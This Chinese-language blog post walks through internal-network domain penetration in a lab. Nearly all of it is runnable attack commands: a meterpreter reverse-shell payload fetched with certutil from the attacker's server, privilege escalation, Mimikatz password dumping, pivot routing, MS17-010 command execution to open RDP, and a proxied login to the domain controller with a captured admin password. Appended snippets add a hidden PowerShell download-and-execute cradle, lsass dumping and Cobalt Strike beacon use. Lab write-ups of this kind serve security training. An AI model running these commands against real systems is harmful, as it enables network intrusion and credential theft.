一次对内网的域渗透实战

VSole2023-02-06 10:09:16

主要记录拿到Shell后再反弹MSF Shell、Mimikatz抓取密码以及登录域控等内网部分。前面漏洞环境搭建及打点等不作记录,可查看参考文章。

环境

  • Kali:192.168.8.128,攻击机
  • Win7:
  • Web服务器,192.168.8.129
  • 域用户stu1.god.org192.168.52.143
  • Win2003:域控制器owa.god.org192.168.52.138

反弹Shell

  • 攻击机制作木马文件,实际环境中需做免杀
$ msfvenom -p windows/meterpreter_reverse_tcp lhost=<攻击机IP> lport=<攻击机监听端口> -f exe -o win.exe
  • 攻击机利用Python开启HTTP服务
$ python -m SimpleHTTPServer 8080
  • 靶机CMD下载木马文件
$ certutil.exe -urlcache -split -f http://<攻击者IP>:8080/win.exe
  • 攻击机监听端口
$ msfconsole
msf5> use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
msf5 exploit(multi/handler) > set lhost <攻击者IP>
msf5 exploit(multi/handler) > set lport <攻击机监听端口>
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on <攻击者IP>:<攻击机监听端口>
  • 最后在靶机处运行木马
$ win.exe
  • 此时攻击机即可接收到Shell
  • 提权
$ getsystem
  • 抓取Hash
meterpreter > run post/windows/gather/smart_hashdump
  • 获取Hash不全,下面使用Mimitakz再次抓取

MSF-Mimikatz

MSF中自带mimikatz模块(需要Administrator权限或者System权限),且同时支持32位和64位的系统。但是该模块默认是加载32位的系统,若目标主机是64位,直接默认加载该模块会导致很多功能无法使用。

进程迁移

64位系统需要将Meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。并且需要迁移到权限为NT AUTHORITY\SYSTEM的进程,因为进程迁移后meterpreter的权限是迁移进程的权限。
  • 查看靶机位数&进程
meterpreter > sysinfo        # 查看位数
meterpreter > ps             # 查看进程
  • 迁移&加载模块
meterpreter > migrate <PID>  # 进程迁移
meterpreter > load mimikatz  # 加载Mimikatz模块

抓取Hash

meterpreter > mimikatz_command -f samdump::hashes

抓取明文密码

  • 利用sekurlsa模块下的searchPasswords功能抓取明文密码
meterpreter > mimikatz_command -f sekurlsa::searchPasswords

Mimikatz.exe

  • 也可以直接往靶机上传Mimikatz.exe
meterpreter > upload /<path>/mimikatz.exe
  • 然后查看明文密码
meterpreter > shell
$ mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonPasswords

横向渗透

  • 定位域控
meterpreter > shell
$ net time /domain
  • 配置路由
meterpreter > run autoroute -s 192.168.52.0/24
  • 使用NetBIOS协议扫描域网段
  • 扫描到OWA的IP地址为192.168.52.138
  • 其实完整靶场应该还有一台域用户Win2003,这里没开
meterpreter > background    # 后台挂起Session
msf5 exploit(multi/handler) > use auxiliary/scanner/netbios/nbname 
msf5 auxiliary(scanner/netbios/nbname) > set rhosts 192.168.52.0/24
msf5 auxiliary(scanner/netbios/nbname) > run

MS17-010

  • 扫一下MS17-010
meterpreter > background    # 后台挂起Session
msf5 auxiliary(scanner/netbios/nbname) > use auxiliary/scanner/smb/smb_ms17_010 
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.52.138
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
  • 可能存在MS17-010,使用ms17_010_command模块尝试执行系统命令
msf5 auxiliary(scanner/smb/smb_ms17_010) > use auxiliary/admin/smb/ms17_010_command
msf5 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.138
msf5 auxiliary(admin/smb/ms17_010_command) > set command whoami
msf5 auxiliary(admin/smb/ms17_010_command) > run
  • 确定存在该漏洞,继续使用ms17_010_command模块开3389端口
msf5 auxiliary(admin/smb/ms17_010_command) > set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
msf5 auxiliary(admin/smb/ms17_010_command) > run

远程桌面

  • 使用auxiliary/server/socks4a模块进行代理
msf5 auxiliary(admin/smb/ms17_010_command) >  use auxiliary/server/socks4a 
msf5 auxiliary(server/socks4a) > set srvhost <攻击机IP>
msf5 auxiliary(server/socks4a) > run
  • 然后利用终端代理工具Proxychains-Ng进行远程登录,(Proxychains-Ng配置可参考这篇文章),这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf 
socks4  <攻击机IP> 1080
  • 使用rdesktop命令打开远程桌面,使用前面获取到的域管账号进行登录
  • God\Administratos
  • hongrisec@2019.
$ proxychains rdesktop 192.168.52.138
handlermimikatz
本作品采用《CC 协议》,转载必须注明作者和本文链接
主要记录拿到Shell后再反弹MSF Shell、Mimikatz抓取密码以及登录域控等内网部分。前面漏洞环境搭建及打点等不作记录,可查看参考文章。攻击机利用Python开启HTTP服务$ python -m SimpleHTTPServer 8080. 靶机CMD下载木马文件$ certutil.exe -urlcache -split -f http://<攻击者IP>:8080/win.exe. [*] Started reverse TCP handler on <攻击者IP>:<攻击机监听端口>. 并且需要迁移到权限为NT AUTHORITY\SYSTEM的进程,因为进程迁移后meterpreter的权限是迁移进程的权限。查看靶机位数&进程meterpreter > sysinfo # 查看位数。配置路由meterpreter > run autoroute -s 192.168.52.0/24. MS17-010扫一下MS17-010meterpreter > background # 后台挂起Session
powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:8888/logo.gif'))\"" /f
所以可以通过它传回lsass.dmp本地提取hashprocdump64.exe -accepteula -ma lsass.exe lsass.dmp 执行该指令,获取到lsass.dmp
但其实 Jboss 的这个路径可以查看到日志
0x01 简介本次测试为实战测试,测试环境是授权项目中的一部分,敏感信息内容已做打码处理,仅供讨论学习。由于本人在内网方面的掌握也是属于新手阶段,运用到的一些msf攻击手法也很基础,请各位表哥多多指教。
所以可以通过它传回lsass.dmp本地提取hashprocdump64.exe -accepteula -ma lsass.exe lsass.dmp 执行该指令,获取到lsass.dmp
如果找到了某个用户的ntlm hash,就可以拿这个ntlm hash当作凭证进行远程登陆了 其中若hash加密方式是 rc4 ,那么就是pass the hash 若加密方式是aes key,那么就是pass the key 注意NTLM和kerberos协议均存在PTH: NTLM自然不用多说 kerberos协议也是基于用户的client hash开始一步步认证的,自然也会受PTH
#默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于已经有了一个不需要再产生一个,所以这里设置为true. #这里是当前获得的session的id. 可以看到 cs 成功接收到 shell右键 Interact 调出 beacon 界面,net view 查看当前域中计算机列表,然后执行 shell 命令前面加上 shell 就可以了,例如 shell ipconfig四、制作木马首先创建监听器用于木马回连,Host 为 cs 服务端的 ipAttacks->Packages->Windows Executable?需要派生的目标右击选择Spawn,然后创建一个?
然后设置host,port以及要传回去的session我们可以看到CS上返回了一个system权限的shell这个时候我们就可以愉快的使用mimikatz等工具来把administrator的密码偷来但是有的机器改了RDP服务的端口怎么办呢,我们可以用cs的进程管理,找到rdp服务的PID,然后在beacon中输入powershell?
VSole
网络安全专家